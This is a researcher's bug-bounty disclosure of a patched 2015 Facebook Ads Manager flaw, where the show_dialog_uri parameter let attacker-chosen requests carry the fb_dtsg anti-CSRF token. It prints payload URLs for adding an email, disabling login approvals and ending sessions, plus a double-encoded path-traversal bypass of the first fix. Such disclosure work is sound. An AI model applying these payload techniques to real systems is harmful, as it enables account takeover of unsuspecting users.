I discovered a vulnerability in Facebook's Ads Manager flow that could be abused to bypass Facebook's CSRF protection and trigger authenticated actions on behalf of a logged-in user.
The issue came from the way Facebook's AsyncDialog functionality processed the show_dialog_uri parameter. By controlling that value, I could influence the destination of an internal POST request that automatically included Facebook's anti-CSRF token, fb_dtsg.
| Issue | CSRF protection bypass / unsafe internal request construction |
|---|---|
| Impact | Trigger security-sensitive authenticated actions, including account takeover scenarios |
| Bounty | $15,000 |
Facebook's CSRF Protection
Facebook used fb_dtsg as an anti-CSRF token for many state-changing requests.
For protected actions, the server expected a valid token to be included in the request. Without it, the action should normally be rejected.
The question was whether an existing Facebook feature could be abused to generate an authenticated request containing a valid fb_dtsg token while allowing an attacker to control where that request was sent.
The Ads Manager Migration Flow
While testing an Ads Manager migration flow, Facebook redirected me to a URL similar to:
https://www.facebook.com/ads/manage/home/?account_id=XXXX&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXX
The page displayed a dialog for migrating a gray account to a personal account.
During page load, Facebook generated an internal POST request to the path provided in show_dialog_uri.
A simplified version of the request looked like this:
POST /ads/manage/error/graydisabled/?account_id=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded
account_id=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
The Interesting Behavior
One detail immediately stood out: account_id appeared both in the requested URL and in the POST body.
I changed the query parameter name inside show_dialog_uri:
https://www.facebook.com/ads/manage/home/?show_dialog_uri=/ads/manage/error/graydisabled/?aaaa=XXXX
Facebook then generated a request containing my modified parameter:
POST /ads/manage/error/graydisabled/?aaaa=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded
aaaa=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
This behavior gave me three important properties at the same time:
- A controllable relative URL inside Facebook.
- Attacker-controlled parameters in the generated request.
- A valid
fb_dtsgtoken automatically added by Facebook.
Together, these properties effectively created an authenticated request primitive that could be used to bypass CSRF protection on other Facebook endpoints.
Security-Sensitive Actions
I tested the technique against several Facebook actions. These were examples rather than an exhaustive list of reachable endpoints.
Changing Account Language
/ads/manage/home/?show_dialog_uri=/ajax/settings/account/language.php?new_language=fa_IR
Adding a New Email Address
One of the more serious cases involved adding a new email address to the account:
/ads/manage/home/?show_dialog_uri=/settings/email/add/submit/[email protected]
Depending on the surrounding account-recovery flow, this created an account-takeover path.
Disabling Login Approvals
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/approvals.php?just_enabled_approvals=0
Logging Out Mobile Sessions
/ads/manage/home/?show_dialog_uri=/ajax/settings/mobile/lost_phone.php
Logging Out All Sessions
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/sessions/stop_all.php
Facebook's Initial Fix
After the issue was reported, Facebook restricted show_dialog_uri so that it had to begin with:
/ads/manage/error/graydisabled/?
That prevented me from directly replacing the destination with an arbitrary Facebook endpoint.
I then tested whether the restricted path could still be escaped.
Bypassing the Fix With Double Encoding
A straightforward path traversal attempt did not work because slash characters appearing after the question mark were URL-encoded.
The bypass came from double-encoding the question mark:
%253F
During AsyncDialog processing, one decoding layer was removed. That changed how the remaining path was interpreted and allowed the request path to escape the restricted prefix.
The final payload used a structure similar to:
https://www.facebook.com/ads/manage/home/?account_id&show_dialog_uri=%2Fads%2Fmanage%2Ferror%2Fgraydisabled%2F%253F%2F..%2F..%2F..%2F..%2F..%2Fsettings%2Femail%2Fadd%2Fsubmit%2F%3Fnew_email%3Dpouya%40darabi.me
Resolution
After the bypass was reported, Facebook blocked the second technique as well. The vulnerable show_dialog_uri behavior was ultimately removed.
Disclosure Timeline
| March 29, 2015 — 16:07 | Initial vulnerability reported. |
|---|---|
| March 29, 2015 — 21:15 | Additional details provided. |
| March 30, 2015 — 00:57 | Issue acknowledged by Facebook's security team. |
| March 30, 2015 — 02:10 | Temporary fix deployed. |
| March 30, 2015 — 02:52 | Fix bypass reported. |
| March 30, 2015 — 03:19 | Bypass blocked. |
| March 31, 2015 — 07:10 | $15,000 bounty awarded. |